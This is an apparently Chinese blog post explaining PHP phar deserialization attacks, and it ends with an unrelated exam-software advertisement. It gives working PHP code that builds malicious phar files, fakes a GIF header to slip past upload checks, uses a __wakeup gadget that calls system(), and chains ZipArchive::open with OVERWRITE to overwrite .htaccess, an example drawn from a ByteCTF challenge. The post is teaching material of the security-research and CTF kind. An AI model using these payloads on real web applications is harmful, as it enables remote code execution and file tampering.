php利用phar进行ssrf,php phar反序列化任意执行代码

2018年

原理

一。关于流包装stream wrapper

大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://

例如常见的有

include('php://filter/read=convert.base64-encode/resource=index.php')

include('data://text/plain;base64,xxxxx')

phar://也是流包装的一种

二。phar原理

phar是一种压缩文件,其中每个被压缩文件的权限、属性信息都放在这部分。并且这部分

以序列化的形式存储用于自定义的meta-data。

对于phar文件的stub,可以理解为一个标志,他的格式是固定的

……<?php    ……;   __HALT_COMPILER();?>

也就是必须要__HALT_COMPILER();结尾才可以,否则无法识别

如果要生成phar文件就必须要将php.ini中的phar.readonly设置为off

在一些文件函数通过phar://伪协议解析phar文件时都会将meta-data反序列化。

受影响的函数有

fileatime    filectime    filemtime    file_exists    file_get_contents    file_put_contents

file    filegroup    fopen    fileinode    fileowner    fileperms

is_dir    is_file    is_link    is_executable    is_readable    is_writeable

is_wirtble    parse_ini_file    copy    unlink    stat    readfile

finfo_file

三。激发条件拓展

①php://filter/read=convert.base64-encode/resource=./1.phar

②compress.bzip2://phar:///tmp/test.phar

③压缩包

$zip=new ZipArchive();

$res=$zip->open('test.zip');

$zip->extractTo('phar//test.phar');

④数据库

$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));

@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

⑤LOAD DATA LOCAL INFILE

class A {

public $s = '';

public function __wakeup () {

system($this->s);

}

}

$m = mysqli_init();

mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);

$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);

$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

四。利用方式扩展(文章最后进行详细介绍)

①SoapClient,php自带类,能够进行SSRF

②ZipArchive,php自带类(可能需要下载扩展),

ZipArchive::open(filename,ZIPARCHIVE::OVERWRITE)    //可以对文件覆盖

Demo

一。简单的小实验

class TestObject {

}

$phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new TestObject();

$o -> data='hu3sky';

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //test为内容test.txt为要压缩的文件(可以不存在)

//签名自动计算

$phar->stopBuffering();

?>

运行后会生成一个phar.phar文件在当前目录下,用winhex查看内容

84d6ba35572115bd831c4810c4d12efb.png

发现meta-data以序列化形式存储,在文件操作函数会自动进行反序列化

那么假如在这样一个php代码文件中include使用

class TestObject{

function __destruct()

{

echo $this -> data;

}

}

include('phar://phar.phar');

?>

结果

hu3sky

可见在之前压缩的phar文件代码

$o = new TestObject();

$o -> data='hu3sky';

被顺利的执行

总结:要实现phar反序列化攻击有几个条件

①有一个类有__destruct魔术方法作为跳板

②有file_exsits()等函数,且函数内容可控

③没有过滤phar://内容

二。拓展:将phar文件伪造成其他格式文件

由原理可知php是通过识别phar文件的文件头stub来判断,确切来说是对于

__HALT_COMPILER(); ,而对于前面内容和后缀名没有要求,那么只要在前面

加上任意文件头+修改后缀名就可以将phar文件伪装成其他格式文件。

class TestObject {

}

$phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名

$phar->startBuffering();

$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装

$o = new TestObject();

$o -> data='hu3sky';

$phar->setMetadata($o);

$phar->addFromString("test.txt", "test");

$phar->stopBuffering();

?>

这样php就会将其识别为gif文件,就可以绕过一些上传检测。

--------------------------------------------------------------------------------------

ZipArchive实现文件覆盖

假如一个类的一个方法:

class Profile{

function __call($name, $arguments)

{

$this->admin->open($this->username, $this->password);

}

}

再看ZipArchive的open方法

ZipArchive::open(filename,OVERWRIDE)  //对文件进行覆写

利用(这里的File类是bytectf里一个题目定义的类,拿来做跳板,本身并没有进行操作):

class File{

public $checker;

}

class Profile{

public $username;

public $password;

public $admin;

function __call($name, $arguments){

$this->admin->open($this->username, $this->password);

}

}

$o=new File();

$o->checker=new Profile();

$o->checker->admin=new ZipArchive();  //因为这个类在Profile不存在所以触发__call方法

$o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"

$o->checker->password=ZipArchive:OVERRIDE    //注意这里是调用方法

//这里实际上换到Profile类就是:Profile->ZipArchive->open("path","ZipArchive::OVERWRITE") $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名

$phar->startBuffering();

$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装

$phar->setMetadata($o);

$phar->addFromString("test.txt", "test");

$phar->stopBuffering();

//生成phar文件

注意:关于上面的__call触发条件,经过个人实验发现:

如果直接进行输入的话并不能触发,以上面为例,例如(不会触发)

$o=new Profile();

$o->admin=new ZipArchive();

$o->username='test.txt';

$o->password=ZipArchive::OVERWRITE;

如果先从一个类的一个变量再跳到另一个类,跳到的类__call方法就会触发,例如(能触发)

$o=new File();

$o->checker=new Profile();

$o->checker->admin=new ZipArchive();

$o->checker->username='test.txt';

$o->checker->password=ZipArchive::OVERWRITE;

而关于__destruct魔术方法是可以直接触发的

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
优考试局域网考试系统是一个在线考试解决方案提供者,她操作简单,功能强大,能完全满足你大部分的考试需求,可以在导入学生,生成二维码,在手机和平板上进行考试,很方便。 优考试局域网考试系统软件功能: 具有强大的统计分析功能。优考试通过对考试数据进行统计分析,诸如考试分数分布,考试用时分布,错排行等,让你从整体上了解你的学员(员工)状态, 同时你也可以对学员(员工)一段时间的考试进行对比, 让你发现他的变化,并适当的进行指导 完美支持手机与表平板,跨各种平台。优考试对手机和平板(iPhone, 安卓)等进行了专门的优化,在这些移动设备上表现完美。使用优考试,你的学员(员工)可以无优答卷, 在教室里,在公交车上,在家里,一切有网络的地方都可以 从题库中随机添加试题到试卷中。在创建一个新试卷时,总是希望可以从题库中的指定分类中随机选择一定数量的试题加到试卷中,这即可以快速生成一个新的试卷,也可以让试卷在题库中平均的选择试题,在微课的实例中,你可以利用该功能,快速的从章节题库中选择指定数量的试题对学生的掌握情况进行测试 三种不同的考试验证方式。优考试拥有三种不同的考试验证方式以适应用户多样化的需求,分别是只有特定组的成员才可以进行考试、只有拥有特定验证码的人才可以考试、谁都可以考试。同时还可以限制一个人可以进行考试的次数等 自定义试卷主题风格。优考试允许你自定义试卷风格。你可以把试卷设置成黑色风格,天蓝风格等;这个方便的设置可以使得你的试卷与你的既有色调风格保持一致统一,从而打造你自己的品牌特色, 让你的品牌脱颖而出 在试卷上显示你的公司名和LOGO。优考试允许你显示你的公司名和LOGO图标在试卷上, 位于试卷的左上解。通过显示自己的品牌信息,即可以充分宣传自己的品牌,也可以让你的考试者认准你的品牌,放心答题。 几十项试卷个性化设置。优考试的试卷拥有30多项个性化设置,可以充分定制化你的需求,从试卷考试时间、每页显示试题个性、考试前显示考试说明,到考试及格分数、试卷完成方式等,让你的试卷尽在掌握。   优考试局域网考试系统标准版  v4.2.2 更新: 1.优化电脑端、手机端考试界面。当前界面更美观, 操作更方便。为移动端专门优化了考试界面,更清爽 2.优化首页,在首页上增加管理员登录,考生登录。把考生登录与管理登录区别分开,功能更明确 3.优化考生管理, 可批量导入自定义考生信息, 例如,学号, 工号, 身份证, 部门等。可自定义考生登录时使用的字段,而不再需要输入繁杂的邮箱, 可自定义是否需要输入密码,极大的方便了在手机等输入不方便的设备上快速考试 4.优化试卷、试题分类管理功能,现在分类管理支持无限子分类,无限层级,极大的方便了试卷、试题的管理 5.优化word导入试题功能,使得word导入识别率更高, 更智能 6.增加子管理员功能, 专业版用户可以无限添加子管理员, 子管理和管理员共享数据, 使得管理更加方便 7.优化考试数据处理, 使得页面打开速度更快, 不再需要等待 8.优化数据库,支持更大数据吞吐, 支持更多人并发考试 10.增加单选题点击选项后自动跳到下一题的功能 11.增加收集信息检验功能,可以定义检验长度,字符等要求, 输入不对,则无法进入考试 12.增加自动记录上次输入的收集信息功能,下次考试时, 将会自动填充上次写入的信息, 省去了在考生在手机上频繁的输入, 大大提高了考试效率 13.增加在试卷设置中设置试卷里的试题是否选项随机,从次不用每个试题都设置了 14.增加数据备份功能,一键热备份您当前的所有数据,让数据更安全,不丢失 15.修复问答题显示未答的bug 16.修复手机图片显示过大的问题 17.修复其他bug  优考试局域网考试系统截图
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值